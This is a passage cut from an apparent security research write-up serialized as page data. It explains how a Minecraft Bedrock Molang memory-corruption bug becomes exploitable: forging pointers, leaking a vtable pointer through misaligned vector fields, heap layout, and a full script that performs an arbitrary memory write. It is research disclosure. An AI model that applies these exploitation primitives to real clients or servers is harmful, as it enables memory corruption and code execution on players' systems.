+-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[166679],{"type":25,"tag":264,"props":166680,"children":166681},{"__ignoreMap":7},[166682],{"type":30,"value":166677},{"type":25,"tag":26,"props":166684,"children":166685},{},[166686,166688,166693,166695,166701,166703,166708],{"type":30,"value":166687},"Now, the value of ",{"type":25,"tag":264,"props":166689,"children":166691},{"className":166690},[],[166692],{"type":30,"value":165794},{"type":30,"value":166694}," only spans 16 bits (",{"type":25,"tag":264,"props":166696,"children":166698},{"className":166697},[],[166699],{"type":30,"value":166700},"0xbba0",{"type":30,"value":166702}," specifically), which is always a valid float since it’s far below ",{"type":25,"tag":264,"props":166704,"children":166706},{"className":166705},[],[166707],{"type":30,"value":166292},{"type":30,"value":1860},{"type":25,"tag":26,"props":166710,"children":166711},{},[166712,166714,166719],{"type":30,"value":166713},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":25,"tag":264,"props":166715,"children":166717},{"className":166716},[],[166718],{"type":30,"value":165794},{"type":30,"value":359},{"type":25,"tag":7764,"props":166721,"children":166722},{"code":166476},[166723],{"type":25,"tag":264,"props":166724,"children":166725},{"__ignoreMap":7},[166726],{"type":30,"value":166476},{"type":25,"tag":26,"props":166728,"children":166729},{},[166730],{"type":30,"value":166731},"Which results in:",{"type":25,"tag":7764,"props":166733,"children":166735},{"code":166734},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[166736],{"type":25,"tag":264,"props":166737,"children":166738},{"__ignoreMap":7},[166739],{"type":30,"value":166734},{"type":25,"tag":26,"props":166741,"children":166742},{},[166743],{"type":30,"value":166744},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":25,"tag":7764,"props":166746,"children":166748},{"code":166747},"variable.b = variable.saved_upper_48;\n",[166749],{"type":25,"tag":264,"props":166750,"children":166751},{"__ignoreMap":7},[166752],{"type":30,"value":166747},{"type":25,"tag":26,"props":166754,"children":166755},{},[166756],{"type":30,"value":166757},"Yielding a valid pointer again:",{"type":25,"tag":7764,"props":166759,"children":166761},{"code":166760},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[166762],{"type":25,"tag":264,"props":166763,"children":166764},{"__ignoreMap":7},[166765],{"type":30,"value":166760},{"type":25,"tag":26,"props":166767,"children":166768},{},[166769],{"type":30,"value":166770},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":25,"tag":7764,"props":166772,"children":166774},{"code":166773},"variable.saved_adjusted_lower_16 = variable.a;\n",[166775],{"type":25,"tag":264,"props":166776,"children":166777},{"__ignoreMap":7},[166778],{"type":30,"value":166773},{"type":25,"tag":26,"props":166780,"children":166781},{},[166782],{"type":30,"value":166783},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":25,"tag":7764,"props":166785,"children":166787},{"code":166786},"variable.a = variable.saved_upper_48;\n",[166788],{"type":25,"tag":264,"props":166789,"children":166790},{"__ignoreMap":7},[166791],{"type":30,"value":166786},{"type":25,"tag":26,"props":166793,"children":166794},{},[166795],{"type":30,"value":166796},"This produces the following state:",{"type":25,"tag":7764,"props":166798,"children":166800},{"code":166799},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[166801],{"type":25,"tag":264,"props":166802,"children":166803},{"__ignoreMap":7},[166804],{"type":30,"value":166799},{"type":25,"tag":26,"props":166806,"children":166807},{},[166808,166810,166815,166817,166823,166825,166831,166833,166838,166840,166845],{"type":30,"value":166809},"As shown, ",{"type":25,"tag":264,"props":166811,"children":166813},{"className":166812},[],[166814],{"type":30,"value":165808},{"type":30,"value":166816}," now contains the upper 16 bits of the address (",{"type":25,"tag":264,"props":166818,"children":166820},{"className":166819},[],[166821],{"type":30,"value":166822},"0x1c80",{"type":30,"value":166824},"), which we can store as ",{"type":25,"tag":264,"props":166826,"children":166828},{"className":166827},[],[166829],{"type":30,"value":166830},"variable.saved_upper_16 = variable.b",{"type":30,"value":166832},". Meanwhile, ",{"type":25,"tag":264,"props":166834,"children":166836},{"className":166835},[],[166837],{"type":30,"value":165794},{"type":30,"value":166839}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":25,"tag":264,"props":166841,"children":166843},{"className":166842},[],[166844],{"type":30,"value":165808},{"type":30,"value":359},{"type":25,"tag":7764,"props":166847,"children":166848},{"code":166664},[166849],{"type":25,"tag":264,"props":166850,"children":166851},{"__ignoreMap":7},[166852],{"type":30,"value":166664},{"type":25,"tag":26,"props":166854,"children":166855},{},[166856],{"type":30,"value":166857},"Leaving us with:",{"type":25,"tag":7764,"props":166859,"children":166861},{"code":166860},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[166862],{"type":25,"tag":264,"props":166863,"children":166864},{"__ignoreMap":7},[166865],{"type":30,"value":166860},{"type":25,"tag":26,"props":166867,"children":166868},{},[166869],{"type":30,"value":166870},"We can now save the middle 16 bits:",{"type":25,"tag":7764,"props":166872,"children":166874},{"code":166873},"variable.saved_middle_16 = variable.a;\n",[166875],{"type":25,"tag":264,"props":166876,"children":166877},{"__ignoreMap":7},[166878],{"type":30,"value":166873},{"type":25,"tag":26,"props":166880,"children":166881},{},[166882],{"type":30,"value":166883},"At this point, we have:",{"type":25,"tag":7764,"props":166885,"children":166887},{"code":166886},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[166888],{"type":25,"tag":264,"props":166889,"children":166890},{"__ignoreMap":7},[166891],{"type":30,"value":166886},{"type":25,"tag":26,"props":166893,"children":166894},{},[166895],{"type":30,"value":166896},"All three parts are valid float values, ensuring deterministic calculations.",{"type":25,"tag":26,"props":166898,"children":166899},{},[166900],{"type":30,"value":166901},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":25,"tag":7764,"props":166903,"children":166905},{"code":166904},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[166906],{"type":25,"tag":264,"props":166907,"children":166908},{"__ignoreMap":7},[166909],{"type":30,"value":166904},{"type":25,"tag":26,"props":166911,"children":166912},{},[166913],{"type":30,"value":166914},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":25,"tag":7764,"props":166916,"children":166918},{"code":166917},"variable.a = variable.saved_adjusted_middle_16;\n",[166919],{"type":25,"tag":264,"props":166920,"children":166921},{"__ignoreMap":7},[166922],{"type":30,"value":166917},{"type":25,"tag":26,"props":166924,"children":166925},{},[166926,166928,166933,166934,166940,166941,166947],{"type":30,"value":166927},"Setting ",{"type":25,"tag":264,"props":166929,"children":166931},{"className":166930},[],[166932],{"type":30,"value":165794},{"type":30,"value":69891},{"type":25,"tag":264,"props":166935,"children":166937},{"className":166936},[],[166938],{"type":30,"value":166939},"0xddcd",{"type":30,"value":16213},{"type":25,"tag":264,"props":166942,"children":166944},{"className":166943},[],[166945],{"type":30,"value":166946},"0xddcc + 1",{"type":30,"value":166948},"), and then:",{"type":25,"tag":7764,"props":166950,"children":166952},{"code":166951},"variable.b = variable.saved_adjusted_upper_16;\n",[166953],{"type":25,"tag":264,"props":166954,"children":166955},{"__ignoreMap":7},[166956],{"type":30,"value":166951},{"type":25,"tag":26,"props":166958,"children":166959},{},[166960,166962,166967,166969,166975,166976,166982],{"type":30,"value":166961},"Resulting in ",{"type":25,"tag":264,"props":166963,"children":166965},{"className":166964},[],[166966],{"type":30,"value":165808},{"type":30,"value":166968}," value becoming ",{"type":25,"tag":264,"props":166970,"children":166972},{"className":166971},[],[166973],{"type":30,"value":166974},"0x1c81",{"type":30,"value":16213},{"type":25,"tag":264,"props":166977,"children":166979},{"className":166978},[],[166980],{"type":30,"value":166981},"0x1c80 + 1",{"type":30,"value":11371},{"type":25,"tag":7764,"props":166984,"children":166986},{"code":166985},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[166987],{"type":25,"tag":264,"props":166988,"children":166989},{"__ignoreMap":7},[166990],{"type":30,"value":166985},{"type":25,"tag":26,"props":166992,"children":166993},{},[166994],{"type":30,"value":166995},"Now we save the adjusted upper 48 bits:",{"type":25,"tag":7764,"props":166997,"children":166999},{"code":166998},"variable.saved_adjusted_upper_48 = variable.a;\n",[167000],{"type":25,"tag":264,"props":167001,"children":167002},{"__ignoreMap":7},[167003],{"type":30,"value":166998},{"type":25,"tag":26,"props":167005,"children":167006},{},[167007],{"type":30,"value":167008},"Finally, we attach the lower 16 bits:",{"type":25,"tag":7764,"props":167010,"children":167012},{"code":167011},"variable.a = variable.saved_adjusted_lower_16;\n",[167013],{"type":25,"tag":264,"props":167014,"children":167015},{"__ignoreMap":7},[167016],{"type":30,"value":167011},{"type":25,"tag":7764,"props":167018,"children":167020},{"code":167019},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[167021],{"type":25,"tag":264,"props":167022,"children":167023},{"__ignoreMap":7},[167024],{"type":30,"value":167019},{"type":25,"tag":26,"props":167026,"children":167027},{},[167028],{"type":30,"value":167029},"And by setting:",{"type":25,"tag":7764,"props":167031,"children":167033},{"code":167032},"variable.b = variable.saved_adjusted_upper_48;\n",[167034],{"type":25,"tag":264,"props":167035,"children":167036},{"__ignoreMap":7},[167037],{"type":30,"value":167032},{"type":25,"tag":26,"props":167039,"children":167040},{},[167041],{"type":30,"value":167042},"We forge the final adjusted pointer:",{"type":25,"tag":7764,"props":167044,"children":167046},{"code":167045},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[167047],{"type":25,"tag":264,"props":167048,"children":167049},{"__ignoreMap":7},[167050],{"type":30,"value":167045},{"type":25,"tag":92,"props":167052,"children":167053},{},[],{"type":25,"tag":26,"props":167055,"children":167056},{},[167057,167059,167064],{"type":30,"value":167058},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":25,"tag":264,"props":167060,"children":167062},{"className":167061},[],[167063],{"type":30,"value":166590},{"type":30,"value":166546},{"type":25,"tag":26,"props":167066,"children":167067},{},[167068,167070,167075,167077,167082,167084,167090,167092,167097],{"type":30,"value":167069},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":25,"tag":264,"props":167071,"children":167073},{"className":167072},[],[167074],{"type":30,"value":166590},{"type":30,"value":167076},". Instead, we need any two pointers on the heap - one pointing to ",{"type":25,"tag":264,"props":167078,"children":167080},{"className":167079},[],[167081],{"type":30,"value":43799},{"type":30,"value":167083}," and the other to ",{"type":25,"tag":264,"props":167085,"children":167087},{"className":167086},[],[167088],{"type":30,"value":167089},"addr + 2",{"type":30,"value":167091}," (as long as ",{"type":25,"tag":264,"props":167093,"children":167095},{"className":167094},[],[167096],{"type":30,"value":43799},{"type":30,"value":167098}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":25,"tag":26,"props":167100,"children":167101},{},[167102,167104,167109,167110,167115],{"type":30,"value":167103},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":25,"tag":264,"props":167105,"children":167107},{"className":167106},[],[167108],{"type":30,"value":162564},{"type":30,"value":166349},{"type":25,"tag":264,"props":167111,"children":167113},{"className":167112},[],[167114],{"type":30,"value":165368},{"type":30,"value":167116}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":25,"tag":7764,"props":167118,"children":167120},{"code":167119},"variable.corrupted_var_map_ptr = variable.a;\n",[167121],{"type":25,"tag":264,"props":167122,"children":167123},{"__ignoreMap":7},[167124],{"type":30,"value":167119},{"type":25,"tag":26,"props":167126,"children":167127},{},[167128,167130,167135,167137,167143],{"type":30,"value":167129},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":25,"tag":264,"props":167131,"children":167133},{"className":167132},[],[167134],{"type":30,"value":52262},{"type":30,"value":167136}," field (in this case, the reconstructed pointer) and writes it to ",{"type":25,"tag":264,"props":167138,"children":167140},{"className":167139},[],[167141],{"type":30,"value":167142},"variable.corrupted_var_map_ptr",{"type":30,"value":167144},", even though the type itself is only a 32-bit float.",{"type":25,"tag":2352,"props":167146,"children":167148},{"id":167147},"finding-misaligned-pointers",[167149],{"type":30,"value":167150},"Finding Misaligned Pointers",{"type":25,"tag":26,"props":167152,"children":167153},{},[167154,167156,167161,167162,167168],{"type":30,"value":167155},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":25,"tag":264,"props":167157,"children":167159},{"className":167158},[],[167160],{"type":30,"value":27070},{"type":30,"value":12218},{"type":25,"tag":264,"props":167163,"children":167165},{"className":167164},[],[167166],{"type":30,"value":167167},"ptr + 2",{"type":30,"value":167169},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":25,"tag":26,"props":167171,"children":167172},{},[167173,167178,167179,167184,167186,167191,167193,167198,167200,167205,167207,167212,167214,167220,167221,167226],{"type":25,"tag":264,"props":167174,"children":167176},{"className":167175},[],[167177],{"type":30,"value":165544},{"type":30,"value":28565},{"type":25,"tag":264,"props":167180,"children":167182},{"className":167181},[],[167183],{"type":30,"value":165567},{"type":30,"value":167185}," found inside every entity object. As noted earlier, a ",{"type":25,"tag":264,"props":167187,"children":167189},{"className":167188},[],[167190],{"type":30,"value":165398},{"type":30,"value":167192}," contains three pointers: ",{"type":25,"tag":264,"props":167194,"children":167196},{"className":167195},[],[167197],{"type":30,"value":162564},{"type":30,"value":167199}," (the start of the allocated buffer), ",{"type":25,"tag":264,"props":167201,"children":167203},{"className":167202},[],[167204],{"type":30,"value":22261},{"type":30,"value":167206}," (just past the last element) and ",{"type":25,"tag":264,"props":167208,"children":167210},{"className":167209},[],[167211],{"type":30,"value":165497},{"type":30,"value":167213}," (the end of the allocated buffer). Because the element type is ",{"type":25,"tag":264,"props":167215,"children":167217},{"className":167216},[],[167218],{"type":30,"value":167219},"uint16_t",{"type":30,"value":115391},{"type":25,"tag":264,"props":167222,"children":167224},{"className":167223},[],[167225],{"type":30,"value":22261},{"type":30,"value":167227}," pointer advances by 2 bytes each time a new element is added.",{"type":25,"tag":26,"props":167229,"children":167230},{},[167231,167233,167238,167240,167246],{"type":30,"value":167232},"We can make the ",{"type":25,"tag":264,"props":167234,"children":167236},{"className":167235},[],[167237],{"type":30,"value":22261},{"type":30,"value":167239}," pointer equal to ",{"type":25,"tag":264,"props":167241,"children":167243},{"className":167242},[],[167244],{"type":30,"value":167245},"cap - 2",{"type":30,"value":167247}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":25,"tag":7764,"props":167249,"children":167251},{"code":167250},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[167252],{"type":25,"tag":264,"props":167253,"children":167254},{"__ignoreMap":7},[167255],{"type":30,"value":167250},{"type":25,"tag":92,"props":167257,"children":167258},{},[],{"type":25,"tag":26,"props":167260,"children":167261},{},[167262,167264,167269,167271,167276,167278,167283,167285,167290,167291,167296],{"type":30,"value":167263},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":25,"tag":264,"props":167265,"children":167267},{"className":167266},[],[167268],{"type":30,"value":162564},{"type":30,"value":167270}," pointer of ",{"type":25,"tag":264,"props":167272,"children":167274},{"className":167273},[],[167275],{"type":30,"value":165368},{"type":30,"value":167277}," in the entity object above, one that would index ",{"type":25,"tag":264,"props":167279,"children":167281},{"className":167280},[],[167282],{"type":30,"value":22261},{"type":30,"value":167284}," and the final ",{"type":25,"tag":264,"props":167286,"children":167288},{"className":167287},[],[167289],{"type":30,"value":165497},{"type":30,"value":167270},{"type":25,"tag":264,"props":167292,"children":167294},{"className":167293},[],[167295],{"type":30,"value":165544},{"type":30,"value":167297}," also in the same entity object above.",{"type":25,"tag":26,"props":167299,"children":167300},{},[167301,167303,167309,167310,167316,167318,167323,167324,167329,167331,167336,167338,167343,167344,167349,167351,167356],{"type":30,"value":167302},"The corrupted variables ",{"type":25,"tag":264,"props":167304,"children":167306},{"className":167305},[],[167307],{"type":30,"value":167308},"variable.corrupted_len_ptr",{"type":30,"value":12218},{"type":25,"tag":264,"props":167311,"children":167313},{"className":167312},[],[167314],{"type":30,"value":167315},"variable.corrupted_cap_ptr",{"type":30,"value":167317}," point to ",{"type":25,"tag":264,"props":167319,"children":167321},{"className":167320},[],[167322],{"type":30,"value":22261},{"type":30,"value":12218},{"type":25,"tag":264,"props":167325,"children":167327},{"className":167326},[],[167328],{"type":30,"value":165497},{"type":30,"value":167330},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":25,"tag":264,"props":167332,"children":167334},{"className":167333},[],[167335],{"type":30,"value":167142},{"type":30,"value":167337},", points to the ",{"type":25,"tag":264,"props":167339,"children":167341},{"className":167340},[],[167342],{"type":30,"value":162564},{"type":30,"value":166349},{"type":25,"tag":264,"props":167345,"children":167347},{"className":167346},[],[167348],{"type":30,"value":165368},{"type":30,"value":167350},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":25,"tag":264,"props":167352,"children":167354},{"className":167353},[],[167355],{"type":30,"value":165368},{"type":30,"value":167357},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":25,"tag":26,"props":167359,"children":167360},{},[167361],{"type":30,"value":167362},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":25,"tag":2352,"props":167364,"children":167366},{"id":167365},"leaking-pointers",[167367],{"type":30,"value":167368},"Leaking Pointers",{"type":25,"tag":26,"props":167370,"children":167371},{},[167372,167374,167380],{"type":30,"value":167373},"In C++, an object’s first field is typically a ",{"type":25,"tag":264,"props":167375,"children":167377},{"className":167376},[],[167378],{"type":30,"value":167379},"vtable",{"type":30,"value":167381}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":25,"tag":7764,"props":167383,"children":167385},{"code":167384},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[167386],{"type":25,"tag":264,"props":167387,"children":167388},{"__ignoreMap":7},[167389],{"type":30,"value":167384},{"type":25,"tag":26,"props":167391,"children":167392},{},[167393,167394,167399,167401,167406,167408,167413,167415,167420,167422,167427,167428,167433,167435,167440],{"type":30,"value":10272},{"type":25,"tag":264,"props":167395,"children":167397},{"className":167396},[],[167398],{"type":30,"value":52262},{"type":30,"value":167400}," field inside a ",{"type":25,"tag":264,"props":167402,"children":167404},{"className":167403},[],[167405],{"type":30,"value":165041},{"type":30,"value":167407}," is at offset ",{"type":25,"tag":264,"props":167409,"children":167411},{"className":167410},[],[167412],{"type":30,"value":165302},{"type":30,"value":167414},". We already control a corrupted variable, ",{"type":25,"tag":264,"props":167416,"children":167418},{"className":167417},[],[167419],{"type":30,"value":167308},{"type":30,"value":167421},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":25,"tag":264,"props":167423,"children":167425},{"className":167424},[],[167426],{"type":30,"value":22261},{"type":30,"value":166349},{"type":25,"tag":264,"props":167429,"children":167431},{"className":167430},[],[167432],{"type":30,"value":165544},{"type":30,"value":167434}," by 2 bytes, which in turn advances ",{"type":25,"tag":264,"props":167436,"children":167438},{"className":167437},[],[167439],{"type":30,"value":167308},{"type":30,"value":167441}," by 2 bytes.",{"type":25,"tag":26,"props":167443,"children":167444},{},[167445,167447,167452,167454,167460,167461,167466,167467,167472,167474,167479],{"type":30,"value":167446},"By moving ",{"type":25,"tag":264,"props":167448,"children":167450},{"className":167449},[],[167451],{"type":30,"value":22261},{"type":30,"value":167453}," so it equals ",{"type":25,"tag":264,"props":167455,"children":167457},{"className":167456},[],[167458],{"type":30,"value":167459},"cap - 0x38",{"type":30,"value":115391},{"type":25,"tag":264,"props":167462,"children":167464},{"className":167463},[],[167465],{"type":30,"value":52262},{"type":30,"value":166349},{"type":25,"tag":264,"props":167468,"children":167470},{"className":167469},[],[167471],{"type":30,"value":167308},{"type":30,"value":167473}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":25,"tag":264,"props":167475,"children":167477},{"className":167476},[],[167478],{"type":30,"value":167379},{"type":30,"value":167480}," pointer. We can then capture that pointer with:",{"type":25,"tag":7764,"props":167482,"children":167484},{"code":167483},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[167485],{"type":25,"tag":264,"props":167486,"children":167487},{"__ignoreMap":7},[167488],{"type":30,"value":167483},{"type":25,"tag":26,"props":167490,"children":167491},{},[167492,167494,167499,167501,167506,167508,167513,167515,167521],{"type":30,"value":167493},"After saving the leak, we add 27 unseen variables to advance ",{"type":25,"tag":264,"props":167495,"children":167497},{"className":167496},[],[167498],{"type":30,"value":22261},{"type":30,"value":167500}," until it equals ",{"type":25,"tag":264,"props":167502,"children":167504},{"className":167503},[],[167505],{"type":30,"value":167245},{"type":30,"value":167507},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":25,"tag":264,"props":167509,"children":167511},{"className":167510},[],[167512],{"type":30,"value":167379},{"type":30,"value":167514}," address in ",{"type":25,"tag":264,"props":167516,"children":167518},{"className":167517},[],[167519],{"type":30,"value":167520},"variable.saved_vtable_pointer",{"type":30,"value":1860},{"type":25,"tag":92,"props":167523,"children":167524},{},[],{"type":25,"tag":26,"props":167526,"children":167527},{},[167528,167530,167535,167537,167543],{"type":30,"value":167529},"A Molang script that performs an arbitrary write of the value ",{"type":25,"tag":264,"props":167531,"children":167533},{"className":167532},[],[167534],{"type":30,"value":56615},{"type":30,"value":167536}," to the address ",{"type":25,"tag":264,"props":167538,"children":167540},{"className":167539},[],[167541],{"type":30,"value":167542},"vtable + 0x1000",{"type":30,"value":167544}," looks like this:",{"type":25,"tag":7764,"props":167546,"children":167548},{"code":167547},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[167549],{"type":25,"tag":264,"props":167550,"children":167551},{"__ignoreMap":7},[167552],{"type":30,"value":167547},{"type":25,"tag":2352,"props":167554,"children":167556},{"id":167555},"required-heap-layout",[167557],{"type":30,"value":167558},"Required Heap Layout",{"type":25,"tag":26,"props":167560,"children":167561},{},[167562],{"type":30,"value":167563},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":25,"tag":7764,"props":167565,"children":167567},{"code":167566},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[167568],{"type":25,"tag":264,"props":167569,"children":167570},{"__ignoreMap":7},[167571],{"type":30,"value":167566},{"type":25,"tag":26,"props":167573,"children":167574},{},[167575,167577,167583,167585,167590,167592,167597,167599,167604,167605,167610],{"type":30,"value":167576},"The first region (",{"type":25,"tag":264,"props":167578,"children":167580},{"className":167579},[],[167581],{"type":30,"value":167582},"Heap Region 1",{"type":30,"value":167584},") contains alternating ",{"type":25,"tag":264,"props":167586,"children":167588},{"className":167587},[],[167589],{"type":30,"value":165368},{"type":30,"value":167591},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":25,"tag":264,"props":167593,"children":167595},{"className":167594},[],[167596],{"type":30,"value":165398},{"type":30,"value":167598}," pointers of ",{"type":25,"tag":264,"props":167600,"children":167602},{"className":167601},[],[167603],{"type":30,"value":165368},{"type":30,"value":12218},{"type":25,"tag":264,"props":167606,"children":167608},{"className":167607},[],[167609],{"type":30,"value":165544},{"type":30,"value":167611}," from the entity object for our main attack.",{"type":25,"tag":26,"props":167613,"children":167614},{},[167615,167617,167623,167625,167630,167632,167637,167639,167644,167646,167651],{"type":30,"value":167616},"The second region (",{"type":25,"tag":264,"props":167618,"children":167620},{"className":167619},[],[167621],{"type":30,"value":167622},"Heap Region 2",{"type":30,"value":167624},") contains interleaved ",{"type":25,"tag":264,"props":167626,"children":167628},{"className":167627},[],[167629],{"type":30,"value":165544},{"type":30,"value":167631},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":25,"tag":264,"props":167633,"children":167635},{"className":167634},[],[167636],{"type":30,"value":167379},{"type":30,"value":167638}," pointer into ",{"type":25,"tag":264,"props":167640,"children":167642},{"className":167641},[],[167643],{"type":30,"value":167308},{"type":30,"value":167645}," during our main attack. It could be any object with a ",{"type":25,"tag":264,"props":167647,"children":167649},{"className":167648},[],[167650],{"type":30,"value":167379},{"type":30,"value":167652},", but for simplicity we use the entity object.",{"type":25,"tag":26,"props":167654,"children":167655},{},[167656,167658,167664,167666,167671],{"type":30,"value":167657},"During the attack, overwriting another variable's pointer with\n",{"type":25,"tag":264,"props":167659,"children":167661},{"className":167660},[],[167662],{"type":30,"value":167663},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":30,"value":167665}," will very likely clobber the 